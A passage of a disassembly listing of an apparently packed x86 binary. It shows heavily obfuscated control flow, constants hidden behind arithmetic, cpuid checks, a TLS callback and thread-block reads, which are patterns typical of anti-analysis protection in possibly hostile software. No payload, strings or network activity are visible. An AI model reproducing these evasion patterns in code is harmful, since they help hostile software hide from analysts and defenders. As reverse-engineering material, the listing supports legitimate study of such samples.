		push	90FCE533h
; END OF FUNCTION CHUNK	FOR sub_406C3E
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410164:				; CODE XREF: sub_4078C8:loc_40D4B5j
		pop	esi
		rol	esi, 4
		jmp	loc_40CCFD
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		jmp	sub_40B3B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409748


loc_410175:				; CODE XREF: sub_409748+Fj
		jmp	loc_40D2EE
; END OF FUNCTION CHUNK	FOR sub_409748
; ---------------------------------------------------------------------------


loc_41017A:				; CODE XREF: _837l4vi2:00407672j
		jmp	loc_410A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408736


loc_41017F:				; CODE XREF: sub_408736:loc_409506j
		jnz	loc_40D278
		jmp	loc_40754F
; END OF FUNCTION CHUNK	FOR sub_408736

; =============== S U B	R O U T	I N E =======================================



sub_41018A	proc near		; CODE XREF: sub_409D6B+19C3p
					; _837l4vi2:0040B9A9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405737 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004067A7 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [eax]
		push	eax
		push	esi
		push	0E5EBBF14h
		jmp	loc_4067A7
sub_41018A	endp

; ---------------------------------------------------------------------------


loc_41019C:				; CODE XREF: _837l4vi2:00409603j
		jge	loc_40FF33
		jg	loc_40B5AD
		jmp	sub_406A63
; ---------------------------------------------------------------------------


loc_4101AD:				; DATA XREF: _837l4vi2:0040E6F2o
		push	edi
		push	0E8C82F13h
		pop	edi
		add	edi, 30B35A96h
		jmp	loc_40EC76
; ---------------------------------------------------------------------------
		mov	edx, 0F7C6D0F8h
		call	sub_40E739
		call	sub_40B088
		push	4B8CC6Fh
		pop	edx
		xor	edx, 67A0C0C0h
		push	ebx
		jmp	loc_408D57
; ---------------------------------------------------------------------------
		or	ecx, 157F9B37h
		jmp	loc_4086B9
; ---------------------------------------------------------------------------
		jle	loc_40730D
		jmp	sub_40DE7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4094E2


loc_4101F6:				; CODE XREF: sub_4094E2+Ej
		mov	ecx, 8
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl


loc_410204:				; CODE XREF: sub_40B859:loc_41010Bj
		jmp	loc_4056E8
; END OF FUNCTION CHUNK	FOR sub_4094E2
; ---------------------------------------------------------------------------


loc_410209:				; CODE XREF: _837l4vi2:0040A405j
		push	14B1A770h

; =============== S U B	R O U T	I N E =======================================



sub_41020E	proc near		; CODE XREF: sub_405250+6p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405AB1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409E7C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040B2F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040CFB9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040D1CA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040F9A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041051E SIZE 0000001B BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	edx
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_40CFB9
sub_41020E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41021D	proc near		; DATA XREF: _837l4vi2:0040AF51o

var_8		= dword	ptr -8

		add	eax, 28h
		push	ecx
		push	8B4C870Eh
		mov	ecx, offset loc_41022F
		xchg	ecx, [esp+8+var_8]
		retn
; ---------------------------------------------------------------------------


loc_41022F:				; DATA XREF: sub_41021D+9o
		xor	ecx, ds:4000C9h
		jmp	loc_406B10
sub_41021D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_41023A:				; CODE XREF: _837l4vi2:004085AEj
		add	ebx, esi
		jmp	loc_40677F

; =============== S U B	R O U T	I N E =======================================



sub_410241	proc near		; CODE XREF: sub_408EA4j
					; DATA XREF: sub_408E97+3o

; FUNCTION CHUNK AT 0040F0AA SIZE 0000000C BYTES

		push	ecx
		cmp	ds:dword_406B54, 0
		jz	loc_40F0B6
		mov	eax, ds:dword_406B54
		mov	eax, [eax]
		jmp	loc_40F0AA
sub_410241	endp


; =============== S U B	R O U T	I N E =======================================



sub_41025B	proc near		; CODE XREF: sub_405C5C+1p
		mov	[esp+0], edi
		pop	edi
		mov	ebp, esp
		push	ecx
		inc	ds:dword_4109D0
		call	sub_4093B0


loc_41026D:				; CODE XREF: sub_4100FB-2E5j
		jmp	nullsub_142
sub_41025B	endp

; ---------------------------------------------------------------------------
		shr	ebx, 8
		jmp	loc_4056B4
; ---------------------------------------------------------------------------
		jns	loc_40B027
		jmp	sub_410862
; ---------------------------------------------------------------------------


loc_410285:				; CODE XREF: _837l4vi2:0040D0AEj
					; _837l4vi2:0040D0C2j
		lea	eax, [ebp-14h]
		xor	edx, edx
		push	ecx
		push	44ECB0A4h
		pop	ecx
		add	ecx, 0BB53DFDCh
		jmp	loc_40DD2D
; ---------------------------------------------------------------------------


loc_41029C:				; DATA XREF: _837l4vi2:loc_409C5Fo
		push	2E7E3214h
		mov	esi, offset loc_4102AF
		xchg	esi, [esp]
		retn
; ---------------------------------------------------------------------------


loc_4102AA:				; CODE XREF: _837l4vi2:0040EA65j
		jmp	loc_40905F
; ---------------------------------------------------------------------------


loc_4102AF:				; DATA XREF: _837l4vi2:004102A1o
		add	esi, 0D1C223E2h
		jmp	loc_40AD6C
; ---------------------------------------------------------------------------


loc_4102BA:				; DATA XREF: _837l4vi2:00408167o
		add	edx, 0C9877917h
		call	sub_40E739
		push	eax
		rol	eax, 11h
		mov	ds:dword_40DF10, eax
		jmp	loc_40FC76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D242


loc_4102D4:				; CODE XREF: sub_40D242:loc_40FFD4j
		lea	eax, [ebp-34h]
		push	eax
		push	0ECEDF065h
		pop	eax
		or	eax, 978E0429h
		js	loc_409244
; END OF FUNCTION CHUNK	FOR sub_40D242
; START	OF FUNCTION CHUNK FOR sub_406327


loc_4102EA:				; CODE XREF: _837l4vi2:loc_40B63Ej
					; sub_406327+77E1j
		jmp	loc_40CB7D
; END OF FUNCTION CHUNK	FOR sub_406327
; ---------------------------------------------------------------------------


loc_4102EF:				; CODE XREF: _837l4vi2:00408209j
		jmp	loc_410A34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_4102F4:				; CODE XREF: sub_405CBC+6j
		jmp	sub_40DDF1
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]
		sub	ebp, eax
		jmp	loc_405EEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40801F


loc_410302:				; CODE XREF: sub_40801F+62BBj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40801F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410304:				; CODE XREF: sub_4078C8+5C10j
		jmp	loc_4076F3
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40801F


loc_410309:				; CODE XREF: sub_40801F+62ADj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_41031F
		add	dword ptr [ebp-8], 4
		jmp	loc_410122
; ---------------------------------------------------------------------------


loc_41031F:				; CODE XREF: sub_405C17:loc_40B29Fj
					; sub_40801F+82F1j
		add	dword ptr [ebp-8], 2
		jmp	loc_4059A8
; END OF FUNCTION CHUNK	FOR sub_40801F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_410328:				; CODE XREF: sub_40966E-2B76j
					; sub_40DAE3+4j
		test	byte ptr [ebp-8], 20h
		jmp	loc_40FEF4
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B77A


loc_410331:				; CODE XREF: sub_40B77A:loc_40E550j
		jnz	loc_40503B
		jmp	loc_40D2CB
; END OF FUNCTION CHUNK	FOR sub_40B77A
; ---------------------------------------------------------------------------
		test	ecx, 0AF676D92h
		jmp	loc_40ABC2
; ---------------------------------------------------------------------------
		add	ebp, edi
		jmp	sub_40A8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_41034E:				; CODE XREF: sub_4087FF:loc_40878Cj
		popf
		sbb	edx, eax
		pop	eax
		mov	edx, offset sub_40C6B2
		jmp	loc_4107B2
; END OF FUNCTION CHUNK	FOR sub_4087FF
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: _837l4vi2:0040C19Aj
		sub	esi, 0C61FE9CEh

; =============== S U B	R O U T	I N E =======================================



sub_410362	proc near		; CODE XREF: sub_40A2D5+Dp
					; DATA XREF: sub_407A03+4o

; FUNCTION CHUNK AT 0040AFE2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040F9C6 SIZE 00000021 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh


loc_41036C:				; CODE XREF: sub_40CE96-732Cj
		jz	loc_40E98C
		jmp	loc_40AFE2
sub_410362	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410377	proc near		; DATA XREF: sub_40C5BE:loc_407737o
		push	993F72A8h
		pop	eax
		sub	eax, 0A7C924CBh
		cmp	eax, 989BFEE9h
		jmp	loc_407924
sub_410377	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_41038F:				; CODE XREF: sub_40D7F5:loc_40D800j
		mov	eax, [ebp-4]
		call	sub_40D92B
		jmp	loc_409B83
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
		jmp	loc_40E84F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AF8A


loc_4103A1:				; CODE XREF: sub_40AF8A:loc_40509Bj
					; _837l4vi2:loc_40ABC2j
		xor	edx, edx
		push	offset sub_409868
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_40AF8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A24F


loc_4103AD:				; CODE XREF: sub_40A24F+1Aj
		push	eax
		push	offset sub_40E236
		jmp	loc_410C7E
; END OF FUNCTION CHUNK	FOR sub_40A24F
; ---------------------------------------------------------------------------


loc_4103B8:				; DATA XREF: sub_405F85+409Do
		mov	eax, 80000000h
		cpuid
		cmp	eax, 80000000h
		jbe	loc_40ACAC
		jmp	loc_40E87D
; ---------------------------------------------------------------------------


loc_4103CF:				; CODE XREF: _837l4vi2:0040BFBEj
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4103D0	proc near		; CODE XREF: sub_40A485p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405024 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00405D4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00406929 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004074F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408047 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004084FE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00409981 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C230 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040FF84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410B4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410BFD SIZE 0000000A BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_406929
sub_4103D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_4103E1:				; CODE XREF: sub_40A58E-25D8j
		jz	loc_40A2BC
		jmp	loc_4057F9
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------


loc_4103EC:				; CODE XREF: _837l4vi2:0040D764j
		jnp	loc_40FAEB

; =============== S U B	R O U T	I N E =======================================



sub_4103F2	proc near		; CODE XREF: _837l4vi2:00405F56p

; FUNCTION CHUNK AT 00406166 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	offset sub_40ADCA
		jmp	loc_406166
sub_4103F2	endp

; ---------------------------------------------------------------------------
		neg	eax
		sbb	eax, eax
		neg	eax
		push	ecx
		push	64C337A4h
		jmp	loc_40C3D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_410412:				; CODE XREF: sub_40CA5A+12j
		and	eax, ds:4000CFh
		jnz	loc_40B64A


loc_41041E:				; CODE XREF: _837l4vi2:0040C0DCj
		jmp	loc_40AAF1
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_410423:				; CODE XREF: sub_40AA44-1478j
		jmp	loc_4062F7
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407F6B


loc_410428:				; CODE XREF: sub_407F6B+6j
		jmp	loc_40517E
; END OF FUNCTION CHUNK	FOR sub_407F6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A96


loc_41042D:				; CODE XREF: sub_407A96+3j
		jmp	loc_407836
; END OF FUNCTION CHUNK	FOR sub_407A96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_410432:				; CODE XREF: sub_40CA5A-73BCj
		jmp	loc_40B16D
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
		shr	eax, 3
		jmp	loc_406CCC
; ---------------------------------------------------------------------------


loc_41043F:				; CODE XREF: _837l4vi2:loc_410694j
		jnz	loc_408EDB


loc_410445:				; CODE XREF: _837l4vi2:00409F03j
		jmp	loc_40C380
; ---------------------------------------------------------------------------
		cmp	ebp, 6C5D8214h
		jmp	loc_405F8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410455:				; CODE XREF: sub_40D735-5AEj
		ror	eax, 12h
		push	eax
		call	sub_40B99D
		retn
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================



sub_41045F	proc near		; CODE XREF: sub_40B3B0+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00408092 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004082E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004085B3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004085EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00408F7B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00408FF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004092FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A782 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B144 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040B2B6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040BEE1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040CF91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D3E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410699 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410EA8 SIZE 00000010 BYTES

		push	0F9ADFDD6h
		mov	[esp+4+var_4], ebp
		jmp	loc_40CF91
sub_41045F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_41046C:				; CODE XREF: _837l4vi2:loc_406BEDj
					; sub_40C1F0:loc_40A1A3j
		mov	edi, eax
		mov	eax, 80000001h
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		jmp	loc_410A93
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_40CDE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0DF


loc_41048A:				; CODE XREF: sub_40E0DF+11j
		mov	edx, 0F9A79DECh
		call	sub_40E739
		push	ebp
		mov	[esp+0], eax
		rol	eax, 1Ah
		mov	ds:dword_40A134, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E0DF
; ---------------------------------------------------------------------------


loc_4104A2:				; CODE XREF: _837l4vi2:004107C7j
		jmp	loc_40FA87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_4104A7:				; CODE XREF: sub_405201+Bj
		jmp	loc_406686
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0DF


loc_4104AC:				; CODE XREF: sub_40E0DF+6j
		ror	eax, 1Ah
		jmp	loc_4053D2
; END OF FUNCTION CHUNK	FOR sub_40E0DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_4104B4:				; CODE XREF: sub_4078C8:loc_40CAE8j
		jge	loc_405338
; END OF FUNCTION CHUNK	FOR sub_4078C8
; START	OF FUNCTION CHUNK FOR sub_40FB7C


loc_4104BA:				; CODE XREF: sub_40FB7C+Cj
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_40FB7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_4104BF:				; CODE XREF: sub_40966E+5562j
		test	edi, esi
		jmp	loc_40D9D3
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_4104C6:				; CODE XREF: sub_40C162-185j
		mov	eax, [eax]
		push	offset loc_40B5D8
		jmp	loc_407C56
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4104D2:				; CODE XREF: sub_40D735+Ej
		jz	loc_409DF2
		jmp	loc_4064C0
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------


loc_4104DD:				; CODE XREF: _837l4vi2:004078E7j
		jno	sub_40698A

; =============== S U B	R O U T	I N E =======================================



sub_4104E3	proc near		; CODE XREF: sub_4078C8+87C0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405ED5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040612F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00406766 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040869B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408FBF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040A2D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A776 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040A787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040D715 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040E342 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00410DBC SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		or	eax, eax
		jnz	loc_40A787
		jmp	loc_410DBC
sub_4104E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4104F4	proc near		; CODE XREF: sub_40CD8A:loc_40EA23p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00406A36 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00407BAF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040D514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004109DC SIZE 00000005 BYTES

		mov	[esp+4+var_4], ecx
		mov	esp, ebp
		pop	ebp
		push	14C0174Dh
		pop	eax
		add	eax, 0EB80E8EFh
		jmp	loc_4109DC
sub_4104F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_41050C:				; CODE XREF: _837l4vi2:loc_405883j
		call	sub_40E0FB
		test	al, al
		jz	loc_40AA7D
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_41051E:				; CODE XREF: sub_41020E-3246j
		and	eax, 88732286h
		add	eax, 7FD0F036h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40F7C3
		jmp	loc_40FA57
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------


loc_410539:				; CODE XREF: _837l4vi2:loc_4096BBj
		xor	ecx, 0DE3E5200h
		jz	loc_410781
		shr	eax, 16h
		mov	ebx, eax
		push	offset sub_408440
		jmp	loc_40B733
; ---------------------------------------------------------------------------


loc_410554:				; CODE XREF: _837l4vi2:00409663j
		jge	loc_40985E
		jmp	loc_40DB96
; ---------------------------------------------------------------------------


loc_41055F:				; DATA XREF: sub_4067F8:loc_40E4D4o
		pop	edx
		jz	loc_40E84F
		jmp	loc_40AE4B
; ---------------------------------------------------------------------------


loc_41056B:				; DATA XREF: _837l4vi2:0040A431o
		test	eax, eax
		jz	loc_408A0C
		push	6E83AD87h
		pop	eax
		xor	eax, 6E83A987h
		push	offset sub_406088
		jmp	loc_40DF00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_410589:				; CODE XREF: sub_4065B8:loc_40D410j
		jnz	loc_4071A5


loc_41058F:				; CODE XREF: sub_409E44+6D80j
		jmp	loc_40EDD9
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------


loc_410594:				; CODE XREF: _837l4vi2:loc_4090B1j
		or	ebp, 8FB9CD08h
		rol	ecx, 0Fh
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4105A2:				; CODE XREF: _837l4vi2:004083D6j
		rol	edi, 0Dh

; =============== S U B	R O U T	I N E =======================================



sub_4105A5	proc near		; CODE XREF: _837l4vi2:0040DD7Dp

; FUNCTION CHUNK AT 0040D1E2 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, esi
		add	eax, edi
		jmp	loc_40D1E2
sub_4105A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4105B2:				; DATA XREF: sub_407E89+2EAAo
		push	eax
		call	sub_4066CB
		mov	edx, [ebp+8]
		mov	eax, [edx]
		push	esi
		push	7EDCCBB5h
		pop	esi
		jmp	loc_408B69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_4105C9:				; CODE XREF: sub_40CBB2:loc_4075F5j
					; sub_40AE2D-1B6Aj
		jnz	loc_40E7CE
		jmp	loc_40A5E7
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AF8A


loc_4105D4:				; CODE XREF: sub_40AF8A-5EE7j
		push	6ACF7BA0h
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		sub	eax, 66372BDFh
		jmp	loc_409B79
; END OF FUNCTION CHUNK	FOR sub_40AF8A
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_40C2A0
; ---------------------------------------------------------------------------
		shr	esi, 10h
		jmp	sub_40FB01

; =============== S U B	R O U T	I N E =======================================



sub_4105F8	proc near		; CODE XREF: _837l4vi2:0040C142p
					; _837l4vi2:0040F392j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B55F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B8EF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040D849 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410CEE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00410D30 SIZE 00000006 BYTES

		mov	[esp-4+arg_0], edi
		pop	edi
		jmp	loc_410D30
sub_4105F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_410601:				; CODE XREF: _837l4vi2:00409C12j
					; _837l4vi2:0040CB72j
		jnz	loc_40C821
		push	eax
		push	0F58F658Eh
		pop	eax
		or	eax, 955ABA39h
		jmp	loc_40E1A5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410619	proc near		; DATA XREF: _837l4vi2:00408718o

; FUNCTION CHUNK AT 0040C9F9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset sub_40F4F4
		jmp	loc_40C9F9
sub_410619	endp

; ---------------------------------------------------------------------------


loc_410626:				; CODE XREF: _837l4vi2:00410B1Fj
		mov	eax, esi
		jmp	loc_40D6FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_41062D:				; CODE XREF: sub_40D735+2844j
		jnz	loc_40838B
		jmp	loc_40A3AE
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_410638:				; CODE XREF: sub_408567:loc_409075j
		cmp	edi, 6E277F49h
		jmp	loc_40A537
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		mov	[edi], ebx
		jmp	sub_40833D
; ---------------------------------------------------------------------------


loc_41064A:				; DATA XREF: sub_40B205+Do
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_40B4FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410658:				; CODE XREF: sub_4078C8:loc_409473j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_405BA6
		jmp	loc_40B4EE
; END OF FUNCTION CHUNK	FOR sub_4078C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410BD3


loc_41066A:				; CODE XREF: sub_410BD3+Ej
		jmp	loc_40D621
; END OF FUNCTION CHUNK	FOR sub_410BD3
; ---------------------------------------------------------------------------


loc_41066F:				; DATA XREF: sub_40861C:loc_40727Do
		mov	large fs:0, esp
		mov	eax, large fs:20h
		or	eax, eax
		jz	loc_40F166
		jmp	loc_40AB94
; ---------------------------------------------------------------------------
		dw 0A451h
dword_41068C	dd 6EF9020Ch	dword_410690	dd 1402EF9h						; sub_40CBB2+236Br
; ---------------------------------------------------------------------------


loc_410694:				; CODE XREF: _837l4vi2:0040F797j
		jmp	loc_41043F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_410699:				; CODE XREF: sub_41045F-74CEj
		jmp	loc_4082E5
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
		dw 0FC61h
dword_4106A0	dd 4060843Eh						; sub_405F85:loc_40D7E9w
dword_4106A4	dd 0D6F90131h						; _837l4vi2:00408B34w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DDF1


loc_4106A8:				; CODE XREF: sub_40DDF1:loc_40FA45j
		jl	loc_40C8F7
; END OF FUNCTION CHUNK	FOR sub_40DDF1
; START	OF FUNCTION CHUNK FOR sub_408186


loc_4106AE:				; CODE XREF: sub_408186+19j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_408186
; ---------------------------------------------------------------------------
		xor	ecx, ebp
		jmp	loc_40C1D4
; ---------------------------------------------------------------------------


loc_4106BA:				; CODE XREF: _837l4vi2:loc_41078Bj
		add	eax, 0F4FD67C7h
		mov	edx, 18h
		call	sub_40A7F9
		pop	ecx
		jmp	loc_40F99A
; ---------------------------------------------------------------------------


loc_4106D0:				; CODE XREF: _837l4vi2:0040F2AEj
		jz	locret_407972

; =============== S U B	R O U T	I N E =======================================



sub_4106D6	proc near		; CODE XREF: sub_4053DD+13p
		xchg	eax, [esp+0]
		pop	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		mov	[ebp-4], eax
		jmp	loc_40FAB5
sub_4106D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_4106EA:				; CODE XREF: TlsCallback_0j
		push	offset sub_405C5C
		jmp	loc_40C99A
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40855B


loc_4106F4:				; CODE XREF: sub_40855B:loc_40DD87j
		jz	loc_40E59A
		jmp	loc_408F46
; END OF FUNCTION CHUNK	FOR sub_40855B
; ---------------------------------------------------------------------------


loc_4106FF:				; DATA XREF: sub_40E302+14o
		lea	eax, loc_40AF25
		push	0D7B0B845h
		mov	[esp], eax
		push	0
		push	0
		call	sub_409B39
		xchg	ebx, [esp]
		mov	edx, ebx
		jmp	loc_406A7E
; ---------------------------------------------------------------------------
		ror	ebx, 1Eh
		jmp	sub_409A88
; ---------------------------------------------------------------------------
		and	eax, ebp
		jmp	loc_40DAE1

